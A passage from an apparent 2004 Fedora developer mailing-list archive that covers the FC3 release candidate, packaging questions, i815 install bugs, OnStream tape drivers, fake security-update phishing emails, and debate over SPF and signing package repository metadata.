$CRONTYPE >/dev/null or modify the /sbin/fixfiles script. Thanks -- Dario Lesca From sopwith at redhat.com Mon Oct 25 12:43:17 2004 From: sopwith at redhat.com (Elliot Lee) Date: Mon, 25 Oct 2004 08:43:17 -0400 (EDT) Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: <1098677848.3317.25.camel@mentorng.gurulabs.com> References: <1098677848.3317.25.camel@mentorng.gurulabs.com> Message-ID: On Sun, 24 Oct 2004, Dax Kelson wrote: > On Fri, 2004-10-22 at 15:36, Elliot Lee wrote: > > There's a tree available that looks pretty close to what FC3 will be. > > > > The main URL is http://testing.fedora.redhat.com/tree/ and there's a > > mirror at http://fedora.linux.duke.edu/FC3-rc1/3/ > > > > Please try to break it. Especially interesting are bugs in the kernel, and > > any installer bugs resulting from kernel changes. > > How close is the rawhide tree to this RC tree? The biggest difference is the presence of .iso images in the rc tree. If you've already done the install recently, no need to worry about it. -- Elliot We're so busy putting out fires that we don't take time to stop kids from playing with matches. From dcbw at redhat.com Mon Oct 25 13:20:43 2004 From: dcbw at redhat.com (Dan Williams) Date: Mon, 25 Oct 2004 09:20:43 -0400 Subject: QA at Fedora asleep? Many i386 packages in x86_64 FC2 updates In-Reply-To: <1098511854.3998.13.camel@orion> References: <1098511854.3998.13.camel@orion> Message-ID: <1098710443.21284.1.camel@dcbw.boston.redhat.com> Bob, Part of the reason is that programs like openoffice.org aren't yet 64- bit. OOo is still 32-bit (doesn't compile yet for 64-bit architectures because its not 64-bit clean) but we're working on that. But, to have a 32-bit OOo run on x86_64, we need to drag along a bunch of stuff, like cups, gtk2, glib, pango, etc. That's why most of the packages are there, because programs taht don't yet have 64-bit equivalents still need to link against the 32-bit versions, even if you run them on x86_64. dan On Sat, 2004-10-23 at 08:10 +0200, Bob Deblier wrote: > There's a whole list of i386 packages in the core/updates/2/x86_64 > directory (on download.fedora.redhat.com and ftp.belnet.be - please > check other mirrors): > > -rw-r--r-- 103151 Jun 3 16:52 cups-libs-1.1.20-11.1.i386.rpm > -rw-r--r-- 103405 Sep 28 16:34 cups-libs-1.1.20-11.3.i386.rpm > -rw-r--r-- 103504 Oct 5 17:10 cups-libs-1.1.20-11.4.i386.rpm > -rw-r--r-- 487384 Oct 19 15:44 glib2-2.4.7-1.1.i386.rpm > -rw-r--r-- 4571957 Oct 19 15:45 gtk2-2.4.13-2.1.i386.rpm > -rw-r--r-- 4416526 Sep 15 17:52 gtk2-2.4.7-2.4.i386.rpm > -rw-r--r-- 4415614 Sep 16 06:51 gtk2-2.4.7-2.5.i386.rpm > -rw-r--r-- 4415644 Sep 23 18:16 gtk2-2.4.7-2.6.i386.rpm > -rw-r--r-- 494316 Jun 4 20:50 krb5-libs-1.3.3-7.i386.rpm > -rw-r--r-- 495462 Aug 31 20:11 krb5-libs-1.3.4-6.i386.rpm > -rw-r--r-- 152706 Jun 18 16:05 libpng-1.2.5-5.i386.rpm > -rw-r--r-- 153140 Aug 4 17:38 libpng-1.2.5-8.i386.rpm > -rw-r--r-- 197502 Oct 14 18:48 libtiff-3.5.7-20.2.i386.rpm > -rw-r--r-- 9416513 Aug 6 00:15 mozilla-1.7.2-0.2.0.i386.rpm > -rw-r--r-- 9417523 Sep 22 22:52 mozilla-1.7.3-0.2.0.i386.rpm > -rw-r--r-- 168779 Aug 6 00:15 > mozilla-chat-1.7.2-0.2.0.i386.rpm > -rw-r--r-- 168855 Sep 22 22:52 > mozilla-chat-1.7.3-0.2.0.i386.rpm > -rw-r--r-- 3430668 Aug 6 00:15 > mozilla-devel-1.7.2-0.2.0.i386.rpm > -rw-r--r-- 3431150 Sep 22 22:52 > mozilla-devel-1.7.3-0.2.0.i386.rpm > -rw-r--r-- 129375 Aug 6 00:15 > mozilla-dom-inspector-1.7.2-0.2.0.i386.rpm > -rw-r--r-- 129476 Sep 22 22:52 > mozilla-dom-inspector-1.7.3-0.2.0.i386.rpm > -rw-r--r-- 216249 Aug 6 00:15 > mozilla-js-debugger-1.7.2-0.2.0.i386.rpm > -rw-r--r-- 216304 Sep 22 22:52 > mozilla-js-debugger-1.7.3-0.2.0.i386.rpm > -rw-r--r-- 1837821 Aug 6 00:15 > mozilla-mail-1.7.2-0.2.0.i386.rpm > -rw-r--r-- 1837765 Sep 22 22:52 > mozilla-mail-1.7.3-0.2.0.i386.rpm > -rw-r--r-- 105703 Aug 6 00:15 > mozilla-nspr-1.7.2-0.2.0.i386.rpm > -rw-r--r-- 105804 Sep 22 22:52 > mozilla-nspr-1.7.3-0.2.0.i386.rpm > -rw-r--r-- 182713 Aug 6 00:15 > mozilla-nspr-devel-1.7.2-0.2.0.i386.rpm-rw-r--r-- 182832 Sep 22 > 22:52 mozilla-nspr-devel-1.7.3-0.2.0.i386.rpm-rw-r--r-- 642446 > Aug 6 00:15 mozilla-nss-1.7.2-0.2.0.i386.rpm > -rw-r--r-- 642551 Sep 22 22:52 > mozilla-nss-1.7.3-0.2.0.i386.rpm > -rw-r--r-- 426276 Aug 6 00:15 > mozilla-nss-devel-1.7.2-0.2.0.i386.rpm > -rw-r--r-- 426427 Sep 22 22:52 > mozilla-nss-devel-1.7.3-0.2.0.i386.rpm > -rw-r--r-- 45384012 Oct 21 16:20 > openoffice.org-1.1.2-10.fc2.i386.rpm > -rw-r--r-- 116156909 Oct 21 16:22 > openoffice.org-i18n-1.1.2-10.fc2.i386.rpm > -rw-r--r-- 40707893 Oct 21 16:22 > openoffice.org-libs-1.1.2-10.fc2.i386.rpm > -rw-r--r-- 260729 Oct 7 20:14 pango-1.4.1-1.i386.rpm > -rw-r--r-- 4653801 May 7 00:56 redhat-artwork-0.96-1.i386.rpm > -rw-r--r-- 14116065 Sep 13 22:16 samba-3.0.7-2.FC2.i386.rpm > -rw-r--r-- 5372296 Jul 6 18:42 xorg-x11-devel-6.7.0-5.i386.rpm > -rw-r--r-- 5380547 Sep 29 02:16 xorg-x11-devel-6.7.0-9.i386.rpm > -rw-r--r-- 2452335 Jul 6 18:42 xorg-x11-libs-6.7.0-5.i386.rpm > -rw-r--r-- 2458616 Sep 29 02:16 xorg-x11-libs-6.7.0-9.i386.rpm > -rw-r--r-- 338313 Jul 6 18:42 > xorg-x11-Mesa-libGL-6.7.0-5.i386.rpm > -rw-r--r-- 344304 Sep 29 02:16 > xorg-x11-Mesa-libGL-6.7.0-9.i386.rpm > -rw-r--r-- 409220 Jul 6 18:42 > xorg-x11-Mesa-libGLU-6.7.0-5.i386.rpm > -rw-r--r-- 415215 Sep 29 02:16 > xorg-x11-Mesa-libGLU-6.7.0-9.i386.rpm > > This wouldn't be a critical problem, but the corresponding x86_64 > versions seem to be missing. > > What gives? Should I report this on BugZilla - if yes, under what > component? > > Bob Deblier > From ngourlay at gmail.com Mon Oct 25 13:22:35 2004 From: ngourlay at gmail.com (Nigel Gourlay) Date: Mon, 25 Oct 2004 14:22:35 +0100 Subject: Self-Introduction: Nigel Wetters Gourlay Message-ID: <2379a8204102506221b12573d@mail.gmail.com> Nigel Wetters Gourlay Witley, Surrey, UK Professional programmer, currently taking a career break to raise a child. Looking to package my Perl modules from CPAN. Most particularly, I would like to see perl-ip-country in fedora core, so that SpamAssassin 3 can use country data of relays for filtering. Most of my programming work has been commercial, non-free software. I worked on the UK's worst-managed digital terrestrial TV provider (ITV Digital), until they went bankrupt. Before that, I built content-management systems for some of London's shortest-lived dot-coms. My most popular free software is the javainetlocator project on sourceforge. I have a lots of code on sourceforge and CPAN that is 'proof of concept' - i.e. looks interesting, but doesn't work well enough to be useful to many people - Apache::Emulator and the type 2 jdbc driver for MySQL fall into this category. I also have some code that works well, but is so obscure that it's unlikely to be used by many people (e.g. Class::Decorator, Geo::Approx, and GSLWrap). And I have a few projects on sourceforge that have a great name but little else. I don't have a lot of spare time at the moment, but I wouldn't mind helping out on other projects that look interesting. I'm fluent in C and C++, but my strengths are in Perl and Java. Many otherwise sane people are using my IP geolocation code in production, which might be a reason to trust me. --nigel pub 1024D/18BDD00E 2004-10-25 Nigel Wetters Gourlay (CPAN ID: NWETTERS) Key fingerprint = 43D3 E205 B568 4F13 2DE4 243C DB33 7BA7 18BD D00E sub 1024g/1C9949A4 2004-10-25 [expires: 2006-10-25] From russell at coker.com.au Mon Oct 25 14:59:43 2004 From: russell at coker.com.au (Russell Coker) Date: Tue, 26 Oct 2004 00:59:43 +1000 Subject: NFS install and i815 graphics Message-ID: <200410260059.43452.russell@coker.com.au> I have a machine with an i815 graphics device on the motherboard. When I do a regular CD install the GUI works fine. When I boot with "linux askmethod" with FC3T3 and select NFS install then at the time it goes to graphics mode the machine locks up. What are the differences between CD-ROM and NFS install modes in terms of graphics? -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From shahms at shahms.com Mon Oct 25 16:38:34 2004 From: shahms at shahms.com (Shahms King) Date: Mon, 25 Oct 2004 09:38:34 -0700 Subject: NFS install and i815 graphics In-Reply-To: <200410260059.43452.russell@coker.com.au> References: <200410260059.43452.russell@coker.com.au> Message-ID: <1098722314.2791.101.camel@shahms.mesd.k12.or.us> On Tue, 2004-10-26 at 00:59 +1000, Russell Coker wrote: > I have a machine with an i815 graphics device on the motherboard. When I do a > regular CD install the GUI works fine. When I boot with "linux askmethod" > with FC3T3 and select NFS install then at the time it goes to graphics mode > the machine locks up. > > What are the differences between CD-ROM and NFS install modes in terms of > graphics? I'm not sure if this helps, but I just completed a network install on my Sony VAIO laptop with an i815 graphics card. Since I can't boot off the CD-ROM drive with the newer (post FC2) non-floppy-emulated iso's, I had to PXE boot the installer and so didn't actually do the graphical install. However, after the install was finished I noted that the graphics in X were . . . weird. Things didn't update properly and other weirdness. (Pull down the menus, have the desktop icons disappear, widgets don't appear until you mouse-over them, etc.) There is a bug in bugzilla related to i815 cards crashing that may have something to do with your problem. It is marked as fixed in the latest FC3 xorg releases, however, so maybe not. > -- > http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages > http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark > http://www.coker.com.au/postal/ Postal SMTP/POP benchmark > http://www.coker.com.au/~russell/ My home page > -- Shahms E. King Multnomah ESD Public Key: http://shahms.mesd.k12.or.us/~sking/shahms.asc Fingerprint: 1612 054B CE92 8770 F1EA AB1B FEAB 3636 45B2 D75B -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From xose at wanadoo.es Mon Oct 25 16:58:41 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Mon, 25 Oct 2004 18:58:41 +0200 Subject: Regina and THE Message-ID: <417D30C1.8040600@wanadoo.es> hi, can anyone explain me why Regina and THE are "ExclusiveArch: s390 s390x" only ? They compile and run ok on i386. thanks, -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From kyrre at solution-forge.net Mon Oct 25 17:07:04 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 25 Oct 2004 19:07:04 +0200 Subject: Fake Emails about Emergency Security Update In-Reply-To: <7ebb24d1041024153630f9cead@mail.gmail.com> References: <1098657317.25222.3.camel@localhost.localdomain> <7ebb24d1041024153630f9cead@mail.gmail.com> Message-ID: <1098724024.28467.0.camel@kyrre> man, 25.10.2004 kl. 00.36 skrev Ben Steeves: > On Mon, 25 Oct 2004 00:35:17 +0200, Sindre Pedersen Bjordal > wrote: > > http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 > > > > Ewdinson Then came over this tonight, first time I've ever seen anything > > like this. I don't know who I'm supposed to contact about this, but an > > email here might get the message across. > > > > IANAL, but this must be a legal issue, as there's clearly a trademark > > violation. > > People have been doing it to Microsoft for years ... it was only a > matter of time before someone picked on RedHat. In fact, I think > these have been floated before. Anyone familiar with how Red Hat > and/or Fedora handle patches will immediately spot this as bogus. > -- > Ben Steeves _ bcs at metacon.ca > The ASCII ribbon campaign ( ) ben.steeves at gmail.com > against HTML e-mail X GPG ID: 0xB3EBF1D9 > http://www.metacon.ca/bcs / \ Yahoo Messenger: ben_steeves Just shows how important it is to have signed packages... From whooperhsd at gmail.com Mon Oct 25 18:11:49 2004 From: whooperhsd at gmail.com (William Hooper) Date: Mon, 25 Oct 2004 14:11:49 -0400 Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098724024.28467.0.camel@kyrre> References: <1098657317.25222.3.camel@localhost.localdomain> <7ebb24d1041024153630f9cead@mail.gmail.com> <1098724024.28467.0.camel@kyrre> Message-ID: <6314dfde04102511115151a5c0@mail.gmail.com> On Mon, 25 Oct 2004 19:07:04 +0200, Kyrre Ness Sjobak wrote: > man, 25.10.2004 kl. 00.36 skrev Ben Steeves: > > On Mon, 25 Oct 2004 00:35:17 +0200, Sindre Pedersen Bjordal > > wrote: > > > http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 [snip] > > Just shows how important it is to have signed packages... If you are following random e-mails and installing packages outside of the normal yum/up2date channels, signed packaged don't do a bit of good. Come on, the frauds could have just as easily put instructions to install a GPG key as the first step and people that fall for it would be none the wiser. From kyrre at solution-forge.net Mon Oct 25 18:46:29 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 25 Oct 2004 20:46:29 +0200 Subject: Fake Emails about Emergency Security Update In-Reply-To: <6314dfde04102511115151a5c0@mail.gmail.com> References: <1098657317.25222.3.camel@localhost.localdomain> <7ebb24d1041024153630f9cead@mail.gmail.com> <1098724024.28467.0.camel@kyrre> <6314dfde04102511115151a5c0@mail.gmail.com> Message-ID: <1098729989.28467.6.camel@kyrre> man, 25.10.2004 kl. 20.11 skrev William Hooper: > On Mon, 25 Oct 2004 19:07:04 +0200, Kyrre Ness Sjobak > wrote: > > man, 25.10.2004 kl. 00.36 skrev Ben Steeves: > > > On Mon, 25 Oct 2004 00:35:17 +0200, Sindre Pedersen Bjordal > > > wrote: > > > > http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 > [snip] > > > > Just shows how important it is to have signed packages... > > If you are following random e-mails and installing packages outside of > the normal yum/up2date channels, signed packaged don't do a bit of > good. > > Come on, the frauds could have just as easily put instructions to > install a GPG key as the first step and people that fall for it would > be none the wiser. you are right. just put it in the script. These frauds are damn impossible to protect against... From notting at redhat.com Mon Oct 25 19:30:04 2004 From: notting at redhat.com (Bill Nottingham) Date: Mon, 25 Oct 2004 15:30:04 -0400 Subject: /etc/sysconfig/hwconf and Onstream tape drives In-Reply-To: <1098541335l.3844l.0l@serve.riede.org> References: <1098541335l.3844l.0l@serve.riede.org> Message-ID: <20041025193003.GA10419@nostromo.devel.redhat.com> Willem Riede (wrrhdev at riede.org) said: > What creates /etc/sysconfig/hwconf? kudzu > Does it drive everything else? If you're referring to udev creating device nodes, no. How does one tell whether a device uses osst vs st? Bill From wrrhdev at riede.org Mon Oct 25 22:09:33 2004 From: wrrhdev at riede.org (Willem Riede) Date: Mon, 25 Oct 2004 22:09:33 +0000 Subject: /etc/sysconfig/hwconf and Onstream tape drives In-Reply-To: <20041025193003.GA10419@nostromo.devel.redhat.com> (from notting@redhat.com on Mon Oct 25 15:30:04 2004) References: <1098541335l.3844l.0l@serve.riede.org> <20041025193003.GA10419@nostromo.devel.redhat.com> Message-ID: <1098742173l.6300l.0l@serve.riede.org> On 10/25/2004 03:30:04 PM, Bill Nottingham wrote: > Willem Riede (wrrhdev at riede.org) said: > > What creates /etc/sysconfig/hwconf? > > kudzu > > > Does it drive everything else? > > If you're referring to udev creating device nodes, no. That part I've got working in my next release of osst.c which I'll be submitting soon upstream to linux-kernel/linux-scsi. What I'm trying to also make work is that osst.ko gets auto-loaded at boot, just as st.ko does today. If that doesn't happen, a FC3 system won't have osst device nodes, which would seriously inconvenience Onstream owners. Having hwconf be correct in and of itself is a nice-to-have, if it doesn't drive anything else. > How does one tell whether a device uses osst vs st? By vendor and type returned by the device. In terms of hwconf, if "desc:" starts with "Onstream SC", "Onstream DI", "Onstream USB", or "Onstream FW", then the device needs the osst device driver. Note that "Onstream ADR Series" is reported by a second generation drive, which should be driven by st. Alternatively, if "st" reports the following line to syslog: Oct 23 08:55:18 fallguy kernel: st: The suggested driver is osst. Thanks, Willem Riede. From dwmw2 at infradead.org Mon Oct 25 23:06:33 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Tue, 26 Oct 2004 00:06:33 +0100 Subject: warning to list In-Reply-To: <1098677531.21605.70.camel@va.local.linuxlobbyist.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <200410242252.52378.lsomike@futzin.com> <1098676607.21605.65.camel@va.local.linuxlobbyist.org> <1098677531.21605.70.camel@va.local.linuxlobbyist.org> Message-ID: <1098745593.3872.176.camel@baythorne.infradead.org> On Mon, 2004-10-25 at 00:12 -0400, Paul Iadonisi wrote: > Something else to note about this fake security alert. Red Hat > publishes an SPF record, That is an unfortunate error of judgement on their part. Let's not compound it by advocating the fundamentally flawed snake oil which is SPF in an inappropriate forum. -- dwmw2 From pri.rhl3 at iadonisi.to Mon Oct 25 23:32:15 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Mon, 25 Oct 2004 19:32:15 -0400 Subject: warning to list In-Reply-To: <1098745593.3872.176.camel@baythorne.infradead.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <200410242252.52378.lsomike@futzin.com> <1098676607.21605.65.camel@va.local.linuxlobbyist.org> <1098677531.21605.70.camel@va.local.linuxlobbyist.org> <1098745593.3872.176.camel@baythorne.infradead.org> Message-ID: <1098747134.19567.12.camel@va.local.linuxlobbyist.org> On Mon, 2004-10-25 at 19:06, David Woodhouse wrote: > On Mon, 2004-10-25 at 00:12 -0400, Paul Iadonisi wrote: > > Something else to note about this fake security alert. Red Hat > > publishes an SPF record, > > That is an unfortunate error of judgement on their part. Let's not > compound it by advocating the fundamentally flawed snake oil which is > SPF in an inappropriate forum. /me makes note to remind himself that David Woodhouse is also on this list ;-) Sorry. Though have been a bit of an SPF advocate, I am aware of the flaws and have had *some* second thoughts, lately. However, I beg to differ that simply mentioning it as a possible benefit to some people is inappropriate. This isn't politics or religion we're talking about, it is technology. I could also call any discussion of Mono in Fedora Core inappropriate for my own reasons, but really it's just a matter of opinion on a *technology* issue. And who are you to call Red Hat's publishing of an SPF record an error in judgement? Especially if they have no forwarding issues, it may be an entirely appropriate and beneficial thing for Red Hat to do. Given that they've had it published for a least a few months, I've got to wonder if it might, in fact, be accomplishing exactly what Red Hat wants. Your position on SPF is pretty well known for those who know your postings on the matter. Please don't use the weak (in this case, at least) 'off-topic' argument to suppress any discussion of it. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From elanthis at awesomeplay.com Tue Oct 26 00:36:00 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Mon, 25 Oct 2004 20:36:00 -0400 Subject: warning to list In-Reply-To: <1098745593.3872.176.camel@baythorne.infradead.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <200410242252.52378.lsomike@futzin.com> <1098676607.21605.65.camel@va.local.linuxlobbyist.org> <1098677531.21605.70.camel@va.local.linuxlobbyist.org> <1098745593.3872.176.camel@baythorne.infradead.org> Message-ID: <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> On Tue, 2004-10-26 at 00:06 +0100, David Woodhouse wrote: > On Mon, 2004-10-25 at 00:12 -0400, Paul Iadonisi wrote: > > Something else to note about this fake security alert. Red Hat > > publishes an SPF record, > > That is an unfortunate error of judgement on their part. Let's not > compound it by advocating the fundamentally flawed snake oil which is > SPF in an inappropriate forum. SPF does 100% of what it was intended to do. If it doesn't do what you thought it did, that's your own damn fault for not understanding what it does. People seem to ASSume that SPF is a technology to stop spam or forged emails. It isn't and never was. Anyone who took any time to understand how it worked, and who actually read the documentation, knew this. The architect of SPF, Meng Weng Wong, is working on a revised edition that *does* stop forged emails and most spam. It protects all parts of an email, including the From header, which is what is most important in terms of forgery (such as the mail we're discussing). For the spam end of the solution, it still requires a authorization service (SPF authenticates what the mail really is - not if its spam or not), but it makes said authorization server operate at total effectiveness. If you're going to bash a perfectly legitimate technology that does everything it's intended to do, and is capable of doing everything everyone *wants* it to do in its new edition, I suggest you be a tad more mature and provide real arguments against it instead of using childish insults against the technology and its adopters. > > -- > dwmw2 > > From symbiont at berlios.de Tue Oct 26 00:56:24 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Tue, 26 Oct 2004 08:56:24 +0800 Subject: warning to list In-Reply-To: <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098745593.3872.176.camel@baythorne.infradead.org> <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> Message-ID: <200410260856.24591.symbiont@berlios.de> On Tuesday 26 October 2004 08:36, Sean Middleditch wrote: > It protects all parts of > an email, including the From header, which is what is most important > in terms of forgery (such as the mail we're discussing). In other words, all forms of forwarding email addresses will be down the toilet (sf.net, berlios.de, etc.). Otherwise, you expose two emails both confusing the issue and leaking an otherwise benign email address out. have fun, -- -jeff From elanthis at awesomeplay.com Tue Oct 26 01:07:50 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Mon, 25 Oct 2004 21:07:50 -0400 Subject: warning to list In-Reply-To: <200410260856.24591.symbiont@berlios.de> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098745593.3872.176.camel@baythorne.infradead.org> <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> <200410260856.24591.symbiont@berlios.de> Message-ID: <1098752870.30694.12.camel@stargrazer.home.awesomeplay.com> On Tue, 2004-10-26 at 08:56 +0800, Jeff Pitman wrote: > On Tuesday 26 October 2004 08:36, Sean Middleditch wrote: > > It protects all parts of > > an email, including the From header, which is what is most important > > in terms of forgery (such as the mail we're discussing). > > In other words, all forms of forwarding email addresses will be down the > toilet (sf.net, berlios.de, etc.). Otherwise, you expose two emails No. You fix them. Back to the accreditation service point if you want to be lazy and avoid a very simple fix on the forwarding service end. This is probably off topic, however - if you want to discuss how much you don't like or don't understand SPF, doing so on the SPF lists is probably best. > both confusing the issue and leaking an otherwise benign email address > out. > > have fun, > -- > -jeff > From zleite at mminternet.com Tue Oct 26 02:16:03 2004 From: zleite at mminternet.com (Z) Date: Mon, 25 Oct 2004 19:16:03 -0700 Subject: warning to list In-Reply-To: <200410260856.24591.symbiont@berlios.de> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098745593.3872.176.camel@baythorne.infradead.org> <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> <200410260856.24591.symbiont@berlios.de> Message-ID: <417DB363.6030204@mminternet.com> Jeff Pitman wrote: >On Tuesday 26 October 2004 08:36, Sean Middleditch wrote: > > >>It protects all parts of >>an email, including the From header, which is what is most important >>in terms of forgery (such as the mail we're discussing). >> >> > >In other words, all forms of forwarding email addresses will be down the >toilet (sf.net, berlios.de, etc.). Otherwise, you expose two emails > > Only the ones people are not willing to fix, and breaking them is a good thing. Z From pri.rhl3 at iadonisi.to Tue Oct 26 05:20:58 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Tue, 26 Oct 2004 01:20:58 -0400 Subject: warning to list In-Reply-To: <417DD83D.8090002@aesgi.com> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098675623.4327.13.camel@andrewfarris.dev> <1098693168.8604.63.camel@localhost.localdomain> <1098709388.16158.8.camel@va.local.linuxlobbyist.org> <1098710756.9215.17.camel@localhost.localdomain> <1098711692.16407.13.camel@va.local.linuxlobbyist.org> <1098713219.9215.34.camel@localhost.localdomain> <1098720495.3357.18.camel@tuxtop> <1098726127.9687.43.camel@localhost.localdomain> <1098730016.21845.9.camel@ricardo.veguilla.net> <1098754979.12570.20.camel@ip99.gt.factorrent.com> <417DD83D.8090002@aesgi.com> Message-ID: <1098768057.19567.24.camel@va.local.linuxlobbyist.org> On Tue, 2004-10-26 at 00:53, Gregory G Carter wrote: [snip] > Not something many would like to hear, but I think security in general > has not improved in computing because we have all of these not required > methods that make us THINK the code is safe (i.e. Oooo...the package is > digitally signed so its OK....), but in reality do not address the > primary issues of why executables are a risk....lack of source code. [snip] Interesting. How about this idea for a start. First, please note that I've added fedora-devel-list as I think this sub-thread, of sorts, is more on-topic for that list. Please send followups there. (Dang it! Why doesn't Evolution allow me to add custom headers?! Argh! Don't answer that...or if you do, please start a new thread. This one has morphed quite enough, already. :-)) How about this: 1) Build source package. 2) Sign source package. 3) Build binary package. 4) Embed SHA1 hash of signed source package in header of binary package. (Should be automatically built into the 'rpmbuild --rebuild' command and equivalents.) 5) Sign binary package. This would at least help ensure that a particular binary rpm did indeed come from a particular source package. As it stands, the SOURCERPM name is stored in the header, but that's not verification, it's only FYI type info that has no other src.rpm info in it (that I know of). Of course, with my luck, I'll find it write after hitting Send for this message. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From skvidal at phy.duke.edu Tue Oct 26 05:37:11 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Tue, 26 Oct 2004 01:37:11 -0400 Subject: rawhide signing and other such things Message-ID: <1098769031.6652.86.camel@binkley> I've been reading the thread of complaints about rawhide being unsigned. The problem is, of course, a feasibility of getting the pkgs signed in a semi-secure format. What if we did the following: we added functions to anything that reads repomd.xml to check for a gpg signature in a detached file. Then we could verify that the repomd.xml file is the original one. That lets us know that the sha1 or md5 checksums in the repomd.xml file pointing to the primary, filelists, other and groups metadata are valid. if the metadata.xml files match the checksum from the signed and verified repomd.xml then we know those files are valid. Now Each package entry contains a package id in the metadata. that id is either and md5sum or a sha1sum of the package file itself. So now, if we download that file and the md5sum or sha1sum matches what is in the metadata xml files then we know it is valid too. This at least gets us to a point where we can reasonably trust the packages from the repository based on a single signature for the repomd.xml file. What do y'all think? Would that be workable? -sv From pmatilai at welho.com Tue Oct 26 06:52:26 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Tue, 26 Oct 2004 09:52:26 +0300 (EEST) Subject: rawhide signing and other such things In-Reply-To: <1098769031.6652.86.camel@binkley> References: <1098769031.6652.86.camel@binkley> Message-ID: On Tue, 26 Oct 2004, seth vidal wrote: > I've been reading the thread of complaints about rawhide being unsigned. > > The problem is, of course, a feasibility of getting the pkgs signed in a > semi-secure format. > > What if we did the following: > > we added functions to anything that reads repomd.xml to check for a gpg > signature in a detached file. > > Then we could verify that the repomd.xml file is the original one. > > That lets us know that the sha1 or md5 checksums in the repomd.xml file > pointing to the primary, filelists, other and groups metadata are valid. > > if the metadata.xml files match the checksum from the signed and > verified repomd.xml then we know those files are valid. > > Now Each package entry contains a package id in the metadata. > > that id is either and md5sum or a sha1sum of the package file itself. > > So now, if we download that file and the md5sum or sha1sum matches what > is in the metadata xml files then we know it is valid too. > > This at least gets us to a point where we can reasonably trust the > packages from the repository based on a single signature for the > repomd.xml file. > > > What do y'all think? Would that be workable? That's basically how apt's "authenticated repositories" work. - Panu - From dwmw2 at infradead.org Tue Oct 26 07:48:44 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Tue, 26 Oct 2004 08:48:44 +0100 Subject: warning to list In-Reply-To: <1098752870.30694.12.camel@stargrazer.home.awesomeplay.com> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098745593.3872.176.camel@baythorne.infradead.org> <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> <200410260856.24591.symbiont@berlios.de> <1098752870.30694.12.camel@stargrazer.home.awesomeplay.com> Message-ID: <1098776924.3872.185.camel@baythorne.infradead.org> On Mon, 2004-10-25 at 21:07 -0400, Sean Middleditch wrote: > On Tue, 2004-10-26 at 08:56 +0800, Jeff Pitman wrote: > > On Tuesday 26 October 2004 08:36, Sean Middleditch wrote: > > > It protects all parts of > > > an email, including the From header, which is what is most important > > > in terms of forgery (such as the mail we're discussing). > > > > In other words, all forms of forwarding email addresses will be down the > > toilet (sf.net, berlios.de, etc.). Otherwise, you expose two emails > > No. You fix them. Back to the accreditation service point if you want > to be lazy and avoid a very simple fix on the forwarding service end. Right. SPF, if it's to work, requires the whole world to 'upgrade' to make the initial flawed assumptions of SPF come true. This is in the same world which hasn't actually managed to make ESMTP ubiquitous yet. Meng and the others are living in a dream world. Paul Iadonisi writes: > Especially if they have no forwarding issues, it may be > an entirely appropriate and beneficial thing for Red Hat to do. How do they _know_ they have no forwarding issues -- that they never send mail to a forwarding address? I'd certainly be surprised if that were the case. There a countless cases of a non-technical company getting someone to register a domain and set up a web site somewhere, and forwarding all mail to that domain to the company's single real AOL address. Is it appropriate for Red Hat to declare that they don't ever want to send mail to such people? Or others who use .forward files or virtual domains to forward mail? -- dwmw2 From karsten at redhat.com Tue Oct 26 11:18:57 2004 From: karsten at redhat.com (Karsten Hopp) Date: Tue, 26 Oct 2004 13:18:57 +0200 Subject: Regina and THE In-Reply-To: <417D30C1.8040600@wanadoo.es> References: <417D30C1.8040600@wanadoo.es> Message-ID: <20041026111857.GA6828@redhat.com> On Mon, Oct 25, 2004 at 06:58:41PM +0200, Xose Vazquez Perez wrote: > hi, > > can anyone explain me why Regina and THE are "ExclusiveArch: s390 s390x" > only ? They compile and run ok on i386. > THE is a text editor similar to xedit which runs on s390/s390x z/VM. If you think vi's or emacs UI is cryptic, try out THE and you'll be happy with vi (or emacs) again. We ship it as a convinience for the z/VM 